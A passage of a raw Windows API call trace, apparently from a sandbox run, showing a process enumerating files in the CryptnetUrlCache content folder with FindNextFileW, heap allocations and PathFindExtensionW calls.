hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.995] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0114.995] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0114.995] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0114.996] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.996] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.996] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.996] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.996] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.997] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.997] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.997] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0114.997] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.997] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0114.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0114.997] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0114.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0114.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.998] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0114.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0114.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0114.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0114.998] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0114.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0114.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.998] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0114.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.999] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0114.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.999] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0114.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.000] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.000] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0115.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.000] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 